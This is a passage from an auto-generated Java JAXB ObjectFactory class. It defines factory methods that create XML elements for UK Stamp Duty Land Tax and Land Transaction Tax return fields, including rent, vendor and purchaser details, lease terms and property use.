<}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_RentYear5", scope = SDLT.class) public JAXBElement<String> createSDLTLTTRentYear5(String value) { return new JAXBElement<String>(_SDLTLTTRentYear5_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_RelevantRent", scope = SDLT.class) public JAXBElement<String> createSDLTLTTRelevantRent(String value) { return new JAXBElement<String>(_SDLTLTTRelevantRent_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_HighestRent", scope = SDLT.class) public JAXBElement<String> createSDLTLTTHighestRent(String value) { return new JAXBElement<String>(_SDLTLTTHighestRent_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LeaseBreakClause", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTLeaseBreakClause(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTLeaseBreakClause_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandCountry", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTLandCountry(StringType value) { return new JAXBElement<StringType>(_SDLTLTTLandCountry_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandSituation", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTLandSituation(StringType value) { return new JAXBElement<StringType>(_SDLTLTTLandSituation_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandArgicultural", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTLandArgicultural(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTLandArgicultural_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_CrossTitle", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTCrossTitle(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTCrossTitle_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_TotalConsideration", scope = SDLT.class) public JAXBElement<String> createSDLTLTTTotalConsideration(String value) { return new JAXBElement<String>(_SDLTLTTTotalConsideration_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_MineralsRights", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTMineralsRights(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTMineralsRights_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_NetPresentValue", scope = SDLT.class) public JAXBElement<String> createSDLTLTTNetPresentValue(String value) { return new JAXBElement<String>(_SDLTLTTNetPresentValue_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_IDType", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTIDType(StringType value) { return new JAXBElement<StringType>(_SDLTLTTIDType_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_IDTypeOther", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTIDTypeOther(StringType value) { return new JAXBElement<StringType>(_SDLTLTTIDTypeOther_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_UKCompany", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTUKCompany(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTUKCompany_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_CHNumber", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTCHNumber(StringType value) { return new JAXBElement<StringType>(_SDLTLTTCHNumber_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LeaseTermYears", scope = SDLT.class) public JAXBElement<String> createSDLTLTTLeaseTermYears(String value) { return new JAXBElement<String>(_SDLTLTTLeaseTermYears_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandHasAddress", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTLandHasAddress(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTLandHasAddress_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_SellerHasAgent", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTSellerHasAgent(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTSellerHasAgent_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_TotalNPVRentPayable", scope = SDLT.class) public JAXBElement<String> createSDLTLTTTotalNPVRentPayable(String value) { return new JAXBElement<String>(_SDLTLTTTotalNPVRentPayable_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Vendor1IndividualOrOrganisation", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTVendor1IndividualOrOrganisation(StringType value) { return new JAXBElement<StringType>(_SDLTLTTVendor1IndividualOrOrganisation_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Vendor1Phone", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTVendor1Phone(StringType value) { return new JAXBElement<StringType>(_SDLTLTTVendor1Phone_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Vendor1Country", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTVendor1Country(StringType value) { return new JAXBElement<StringType>(_SDLTLTTVendor1Country_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Vendor1AgentCountry", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTVendor1AgentCountry(StringType value) { return new JAXBElement<StringType>(_SDLTLTTVendor1AgentCountry_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Vendor2IndividualOrOrganisation", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTVendor2IndividualOrOrganisation(StringType value) { return new JAXBElement<StringType>(_SDLTLTTVendor2IndividualOrOrganisation_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Vendor2Country", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTVendor2Country(StringType value) { return new JAXBElement<StringType>(_SDLTLTTVendor2Country_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Vendor2Phone", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTVendor2Phone(StringType value) { return new JAXBElement<StringType>(_SDLTLTTVendor2Phone_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser1IndividualOrOrganisation", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser1IndividualOrOrganisation(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser1IndividualOrOrganisation_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser1Country", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser1Country(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser1Country_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser1AgentCountry", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser1AgentCountry(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser1AgentCountry_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser1Certificate", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser1Certificate(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser1Certificate_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2IndividualOrOrganisation", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2IndividualOrOrganisation(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2IndividualOrOrganisation_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2Country", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2Country(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2Country_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2DoB", scope = SDLT.class) public JAXBElement<String> createSDLTLTTPurchaser2DoB(String value) { return new JAXBElement<String>(_SDLTLTTPurchaser2DoB_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2CompanyNumber", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2CompanyNumber(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2CompanyNumber_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2IDType", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2IDType(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2IDType_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2IDTypeOther", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2IDTypeOther(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2IDTypeOther_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2PlaceOfIssue", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2PlaceOfIssue(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2PlaceOfIssue_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2UKCompany", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTPurchaser2UKCompany(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTPurchaser2UKCompany_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2CHNumber", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2CHNumber(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2CHNumber_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2VATRegNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2VATRegNo(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2VATRegNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2TaxRef", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2TaxRef(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2TaxRef_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2TelNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2TelNo(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2TelNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2VendorConnected", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTPurchaser2VendorConnected(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTPurchaser2VendorConnected_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Purchaser2NINumber", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPurchaser2NINumber(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPurchaser2NINumber_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link SDLT.AP1 }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link SDLT.AP1 }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1", scope = SDLT.class) public JAXBElement<SDLT.AP1> createSDLTAP1(SDLT.AP1 value) { return new JAXBElement<SDLT.AP1>(_SDLTAP1_QNAME, SDLT.AP1 .class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link SDLT.SDLT2 }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link SDLT.SDLT2 }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT2", scope = SDLT.class) public JAXBElement<SDLT.SDLT2> createSDLTSDLT2(SDLT.SDLT2 value) { return new JAXBElement<SDLT.SDLT2>(_SDLTSDLT2_QNAME, SDLT.SDLT2 .class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link SDLT.SDLT3 }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link SDLT.SDLT3 }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT3", scope = SDLT.class) public JAXBElement<SDLT.SDLT3> createSDLTSDLT3(SDLT.SDLT3 value) { return new JAXBElement<SDLT.SDLT3>(_SDLTSDLT3_QNAME, SDLT.SDLT3 .class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link SDLT.SDLT4 }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link SDLT.SDLT4 }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4", scope = SDLT.class) public JAXBElement<SDLT.SDLT4> createSDLTSDLT4(SDLT.SDLT4 value) { return new JAXBElement<SDLT.SDLT4>(_SDLTSDLT4_QNAME, SDLT.SDLT4 .class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationStockYesNo", scope = SDLT.SDLT4 .class) public JAXBElement<BooleanType> createSDLTSDLT4SDLT4ConsiderationStockYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT4SDLT4ConsiderationStockYesNo_QNAME, BooleanType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationGoodWillYesNo", scope = SDLT.SDLT4 .class) public JAXBElement<BooleanType> createSDLTSDLT4SDLT4ConsiderationGoodWillYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT4SDLT4ConsiderationGoodWillYesNo_QNAME, BooleanType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationOtherYesNo", scope = SDLT.SDLT4 .class) public JAXBElement<BooleanType> createSDLTSDLT4SDLT4ConsiderationOtherYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT4SDLT4ConsiderationOtherYesNo_QNAME, BooleanType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationChattelsYesNo", scope = SDLT.SDLT4 .class) public JAXBElement<BooleanType> createSDLTSDLT4SDLT4ConsiderationChattelsYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT4SDLT4ConsiderationChattelsYesNo_QNAME, BooleanType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_TotalConsiderationAmount", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4TotalConsiderationAmount(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4TotalConsiderationAmount_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyUseOffice", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyUseOffice(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyUseOffice_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyUseHotel", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyUseHotel(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyUseHotel_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyUseShop", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyUseShop(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyUseShop_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyUseWarehouse", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyUseWarehouse(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyUseWarehouse_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyUseFactory", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyUseFactory(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyUseFactory_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyUseOther", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyUseOther(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyUseOther_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyUseOtherInd", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyUseOtherInd(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyUseOtherInd_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing 